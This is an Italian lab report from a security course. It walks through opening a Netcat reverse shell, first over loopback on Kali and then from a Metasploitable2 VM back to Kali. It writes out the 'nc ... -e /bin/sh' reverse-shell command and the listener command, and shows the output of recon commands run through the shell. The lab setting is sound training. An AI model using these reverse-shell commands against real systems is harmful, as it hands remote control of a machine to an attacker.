

# Report reverse shell Netcat W9D1

In questo esercizio vedremo come creare una reverse shell attraverso Netcat prima da Kali verso Kali (in loopback) e successivamente da Kali verso Metasploitable2.

## Prerequisiti:

- Assicuriamoci che entrambe le macchine siano su rete interna e che possano comunicare tra di loro;
- Configurazione di rete di Kali:

```
(kali@kali)-[~]  
$ ifconfig  
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500  
    inet 192.168.32.100 netmask 255.255.255.0 broadcast 192.168.32.255  
    inet6 fe80::a00:27ff:fe3e:18bd prefixlen 64 scopeid 0x20<link>  
    ether 08:00:27:3e:18:bd txqueuelen 1000 (Ethernet)  
    RX packets 208 bytes 30927 (30.2 KiB)  
    RX errors 0 dropped 0 overruns 0 frame 0  
    TX packets 89 bytes 7309 (7.1 KiB)  
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
```

- Configurazione di rete di Metasploitable2:

```
msfadmin@metasploitable:~$ ifconfig  
eth0      Link encap:Ethernet HWaddr 08:00:27:ef:f5:ca  
          inet addr:192.168.32.105 Bcast:192.168.32.255 Mask:255.255.255.0  
          inet6 addr: fe80::a00:27ff:feef:f5ca/64 Scope:Link  
          UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1  
          RX packets:66 errors:0 dropped:0 overruns:0 frame:0  
          TX packets:214 errors:0 dropped:0 overruns:0 carrier:0  
          collisions:0 txqueuelen:1000  
          RX bytes:4659 (4.5 KB) TX bytes:29487 (28.7 KB)  
          Base address:0xd020 Memory:f0200000-f0220000
```

# Reverse shell in loopback

**Step 1** Aprire un terminale da Kali e lanciare il comando `nc -lvp <porta target>`.

La sintassi di questo comando è come segue: `-l`= listener (ci mettiamo in ascolto), `-v`= verbose (stampa a schermo più dettagli su cosa sta succedendo), `-n`= solo indirizzi IP (senza DNS), `-p`= porta (su che porta vogliamo metterci in ascolto).

```
(kali@kali)-[~]  
$ nc -lvp 5555  
listening on [any] 5555 ...
```

**Step 2** Apriamo un secondo terminale da dove lanceremo il comando `nc -v <IP attaccante> <porta target> -e /bin/sh`.

La sintassi di questo comando è la seguente: `v`= verbose (stampa a schermo più dettagli su cosa sta succedendo), `-e /bin/sh`= appena la connessione si apre, esegue `/bin/sh` e il terminale della macchina target viene aperto sulla macchina attaccante.

L'IP attaccante in questo caso sarà l'indirizzo di loopback.

```
(kali@kali)-[~]  
$ nc -v 127.0.0.1 5555 -e /bin/sh  
localhost [127.0.0.1] 5555 (?) open  
connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 34930  
whoami  
kali
```

**Step 3** Se torniamo al primo terminale potremo vedere come la connessione è stata aperta e possiamo ora eseguire dei comandi per ricavare informazioni sulla macchina target, come ad esempio: `whoami`, `ps`, `ls`, ecc.

```
(kali@kali)-[~]  
$ nc -lvp 5555  
listening on [any] 5555 ...  
connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 34930  
  
whoami  
kali  
  
ls  
Desktop  
Documents  
Downloads  
gameshell-save.sh  
gameshell.sh  
Music  
Pictures  
Public  
service  
Templates  
Videos  
  
ps  
  PID TTY          TIME CMD  
  7039 pts/3    00:00:00 zsh  
 25965 pts/3    00:00:00 sh  
 26169 pts/3    00:00:00 ps  
  
ifconfig  
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500  
    inet 192.168.32.100  netmask 255.255.255.0  broadcast 192.168.32.255  
    inet6 fe80::a00:27ff:fe3e:18bd  prefixlen 64  scopeid 0x20<link>  
    ether 08:00:27:3e:18:bd  txqueuelen 1000  (Ethernet)  
    RX packets 208  bytes 30927 (30.2 KiB)  
    RX errors 0  dropped 0  overruns 0  frame 0  
    TX packets 89  bytes 7309 (7.1 KiB)  
    TX errors 0  dropped 0  overruns 0  carrier 0  collisions 0  
  
lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536  
    inet 127.0.0.1  netmask 255.0.0.0  
    inet6 ::1  prefixlen 128  scopeid 0x10<host>  
    loop txqueuelen 1000  (Local Loopback)  
    RX packets 78  bytes 4741 (4.6 KiB)  
    RX errors 0  dropped 0  overruns 0  frame 0  
    TX packets 78  bytes 4741 (4.6 KiB)  
    TX errors 0  dropped 0  overruns 0  carrier 0  collisions 0
```

# Reverse shell da Kali a Metasploitable2

**Step 1** Eseguire il comando `nc -lnvp <porta target>` dal terminale di Kali.

**Step 2** Dal terminale di Metasploitable2 eseguire il comando `nc -v <IP attaccante> <porta target> -e /bin/sh`.

In questo caso l'IP da inserire sarà quello della macchina di Kali.

```
msfadmin@metasploitable:~$ nc -v 192.168.32.100 5555 -e /bin/sh
192.168.32.100: inverse host lookup failed: Host name lookup failure
(UNKNOWN) [192.168.32.100] 5555 (rplay) open
_
```

**Step 3** Tornare sul terminale di Kali e da qui potremo lanciare diversi comandi per ricavare info sulla macchina target, come visto in precedenza.

```
(kali㉿kali)-[~]
$ nc -lnvp 5555
listening on [any] 5555 ...
connect to [192.168.32.100] from (UNKNOWN) [192.168.32.105] 47371

whoami
msfadmin

ls
vulnerable

uname -a
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux

ifconfig
eth0      Link encap:Ethernet  HWaddr 08:00:27:ef:f5:ca
          inet addr:192.168.32.105  Bcast:192.168.32.255  Mask:255.255.255.0
          inet6 addr: fe80::a00:27ff:feef:f5ca/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:59 errors:0 dropped:0 overruns:0 frame:0
          TX packets:209 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:4163 (4.0 KB)  TX bytes:28123 (27.4 KB)
          Base address:0xd020  Memory:f0200000-f0220000

lo        Link encap:Local Loopback
          inet addr:127.0.0.1 Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:16436  Metric:1
          RX packets:326 errors:0 dropped:0 overruns:0 frame:0
          TX packets:326 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:119836 (117.0 KB)  TX bytes:119836 (117.0 KB)

ps
  PID TTY          TIME CMD
  4746 tty1      00:00:00 bash
  4834 tty1      00:00:00 sh
  4841 tty1      00:00:00 ps
```